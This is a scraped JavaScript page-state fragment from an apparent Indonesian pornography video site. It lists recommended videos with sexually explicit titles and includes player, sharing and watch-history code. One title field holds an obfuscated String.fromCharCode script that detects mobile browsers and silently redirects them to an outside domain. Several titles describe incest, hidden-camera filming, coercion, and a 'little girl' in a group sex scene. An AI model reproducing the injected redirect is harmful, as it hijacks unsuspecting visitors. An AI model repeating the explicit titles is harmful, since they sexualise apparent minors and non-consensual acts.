Aktris Pemeran Pengganti Telanjang Bernilai Tinggi Chen Qiao_Plot Baru Berskala Super Besar_Godaan Gairah Seorang Gadis Mabuk_Merayu Pengemudi Taksi Online untuk Berhubungan Seks di Dalam Mobil Tanpa Kondom dan Ejakulasi Internal","lastmod":"2026-07-11","duration":"21:53","url":"/play/19166082.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGI0OTk2ODVlNjI2NzQ1MWQyODkwMzM1ZmEwZGE4ZmMuanBn.cache","vod_id":18991234,"title":"DASD-663 Musim panas penuh gairah seks. Aku jatuh cinta dengan seorang pria yang suka berpakaian wanita di kota kelahiranku, dan kami melakukan seks oral dan hubungan seksual satu sama lain. Asahina Natsumi","lastmod":"2025-12-14","duration":"02:00:17","url":"/play/18991234.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmY2ZWJmYmVjNjBhMTYyYzZkYjRlODNjMzE0NDNkMWUuanBn.cache","vod_id":18987060,"title":"PS-006 Mendekati wanita kesepian bertubuh seksi di taman","lastmod":"2025-03-23","duration":"00:41:59","url":"/play/18987060.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmIzZTFhZTJiYjI3Njg2NjkxMjk2MjU2MDgxNmJhYmYuanBn.cache","vod_id":18951086,"title":"Dua pria nakal dan seorang gadis kecil seksi terlibat dalam adegan seks 4P yang penuh gairah, dengan wajah gadis itu sepenuhnya terbuka saat dia disetubuhi dengan penuh gairah oleh dua pria, sementara semua orang di sekitar mereka tercengang. Gadis cantik itu masih menggoda – jangan lewatkan pertunjukan yang mengasyikkan ini!","lastmod":"2025-03-22","duration":"03:22:16","url":"/play/18951086.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDkvYTUzMjZiYTZmYmNkZTI2NWJkYzgzZDFhMzkwMDQ3YTAuanBn.cache","vod_id":19042104,"title":"Seorang kakak perempuan yang seksi dan cantik merayu adik laki-lakinya yang masih perjaka; dia meniduri adik laki-lakinya tanpa kondom di bawah bokongnya yang indah.","lastmod":"2025-07-08","duration":"21:03","url":"/play/19042104.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvZTk3ZDA1ODg2YzBhNmZlMjE2MmE5NjJmZGQ1Y2I2ZDIuanBn.cache","vod_id":19165232,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Pai Buah, Kekasih Masa Kecil, Bahkan Berbaring di Ranjang di Sarang Harimau, Mereka Tetap Harus Berpetualang Melalui MIAA-892","lastmod":"2026-07-11","duration":"13:57","url":"/play/19165232.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzVlNzA2MmZmYjE2YjBlMTE0OTI5MTRlN2M4NmY2NzUuanBn.cache","vod_id":19022022,"title":"Sepuluh tahun kemudian, aku digoda dan dibuat ereksi penuh oleh kakak perempuanku, persis seperti sebelumnya. Aku menjadi kecanduan pada kecenderungan sadis kakakku yang masokis itu.","lastmod":"2025-03-24","duration":"02:02:01","url":"/play/19022022.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTEvZjVkZjAxODJlMjZjYmMyZDljMTgyYjhlZjMwZmJhZTUuanBn.cache","vod_id":19028737,"title":"Kakak perempuan pacarku diam-diam membujukku untuk selingkuh darinya. (Yoshitaka Nene, SSNI-329)","lastmod":"2025-04-11","duration":"02:02:49","url":"/play/19028737.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDFlOWFkM2JlZWIwODJhZGYzYzVhMzU4ODE1NDA5NzMuanBn.cache","vod_id":18950456,"title":"Seorang wanita yang sangat cantik dengan stoking hitam dan sepatu hak tinggi, dengan kaki panjang, dengan penuh gairah memamerkan tubuhnya dalam siaran langsung. Dia bahkan menjilat dirinya sendiri sambil mengenakan pakaian dalam bekasnya, yang masih basah oleh cairan tubuhnya sendiri. Dia mencapai klimaks dengan menyentuh vulvanya di depan kamera, ekspresinya sangat menggoda.","lastmod":"2025-12-14","duration":"02:49:28","url":"/play/18950456.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDQzYjcwZDQ3MzJjMWUyNWQwMTU0ODA3MDliYzBjY2IuanBn.cache","vod_id":19150704,"title":"Rekaman definisi tinggi dari pusat kesehatan SPA yang secara diam-diam merekam seorang pelanggan wanita dengan bokong besar yang menurunkan celana dalamnya, mengeluarkan penisnya, menggosokkannya ke tempat tidur pijat, dan menusuknya dari samping. Bokong ini terasa sangat enak!","lastmod":"2026-03-29","duration":"01:00:11","url":"/play/19150704.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGViNWRlODI2ODc2NzBhOTM5OTg5OGI0NjgxZTJhZTYuanBn.cache","vod_id":18957167,"title":"Bibir merah yang menggoda, perlengkapan ranjang tinggi dan rendah untuk masturbasi dan penetrasi, stoking bodysuit yang sangat besar, wanita dewasa seperti model.","lastmod":"2025-03-22","duration":"00:29:25","url":"/play/18957167.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQ5MWQwMWFhZjFhOWVlNGViM2FiYTBlMjg2NzNiMTEuanBn.cache","vod_id":18940635,"title":"Seorang wanita cantik, seksi, dan berkaki panjang setinggi 172 cm yang bekerja paruh waktu sebagai model di sebuah pameran mobil dibujuk ke sebuah hotel dengan harga tinggi. Ia dipaksa mengenakan rok pendek dan terlibat dalam berbagai posisi, dari tempat tidur hingga lantai, sampai ia memohon ampun. (Mandarin)","lastmod":"2025-03-22","duration":"00:49:39","url":"/play/18940635.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTdkMDE4NmRhNTkwZTlhMTU3MzQ4NTcyZTJmYTdlN2EuanBn.cache","vod_id":18927866,"title":"AP-732_B Seorang kakak perempuan yang cantik datang menjemput adik laki-lakinya yang tertangkap mencuri di toko. Ia direkomendasikan sebagai murid teladan adiknya.","lastmod":"2025-12-14","duration":"00:20:00","url":"/play/18927866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWQ3ODBlYjY0OTRiYzk3YjM4YWE5MDBhODJlYmFlOTEuanBn.cache","vod_id":18927699,"title":"Platform imut ini (sebelumnya bernama Kawaii) menampilkan seorang pembawa acara baru yang cantik, e, yang menggoda pemirsa di luar ruangan dengan masturbasi dan seks oral yang penuh gairah.","lastmod":"2025-12-14","duration":"02:37:18","url":"/play/18927699.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjIxL2VCblBSSEl5LzEuanBn.cache","vod_id":19144949,"title":"Hadiah nilai sempurna Kakak Perempuan (Big Sister) untuk Pai Buah WAAA-215","lastmod":"2026-02-23","duration":"12:49","url":"/play/19144949.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDIvZDM0MTdjNGVmZGM4NDQ0YzIwYjQwZDg5ZmY3NDYwNzAuanBn.cache","vod_id":19027505,"title":"Setelah pindah ke pedesaan, Kawamura Yui hanya memiliki kakak perempuannya sebagai satu-satunya teman sebayanya. Selain seks, tidak ada hal lain yang bisa dia lakukan. (Kawamura Yui, ROYD-101-C)","lastmod":"2025-04-02","duration":"02:11:20","url":"/play/19027505.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmZhMzYxMTU1MzNjNmZiMmUxZGI5MDRlOTYwN2Y5OGEuanBn.cache","vod_id":19009897,"title":"Kedua gadis muda itu memiliki sosok yang begitu menawan, cantik, dan lembut, aku benar-benar ingin berhubungan seks dengan mereka.","lastmod":"2025-03-24","duration":"10:10","url":"/play/19009897.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTg1ZTMzOWI1OWNmYWQyNzIxM2ZhMWZhZDFmOGQ1MTEuanBn.cache","vod_id":19018782,"title":"Al—Hubungan intim Kim Tae-yeon yang sangat bergairah","lastmod":"2025-03-24","duration":"13:24","url":"/play/19018782.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGQ4MWRkMzIyNGE0ODMyZDUwN2VkZTYyMjVkNDczNmEuanBn.cache","vod_id":18988588,"title":"GS-306 Saat aku terbaring sakit flu, kakak perempuanku datang merawatku, yang cukup tidak biasa baginya... Tapi karena mengira aku tidur, dia mulai melihat-lihat kamarku! Namun, mainan seks yang dia temukan membuatnya sangat terangsang sehingga akhirnya dia memperlihatkan pakaian dalamnya! Melihat ini, kakakku menjadi terangsang, menyadari penisnya ereksi, dan mulai bermain dengan penisnya! ? Aku pura-pura tidur, tapi...","lastmod":"2025-03-23","duration":"02:09:27","url":"/play/18988588.html"}]},
videoTitle: 'Zhang Jiani, gadis tetangga sebelah, penuh gairah di ranjang.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}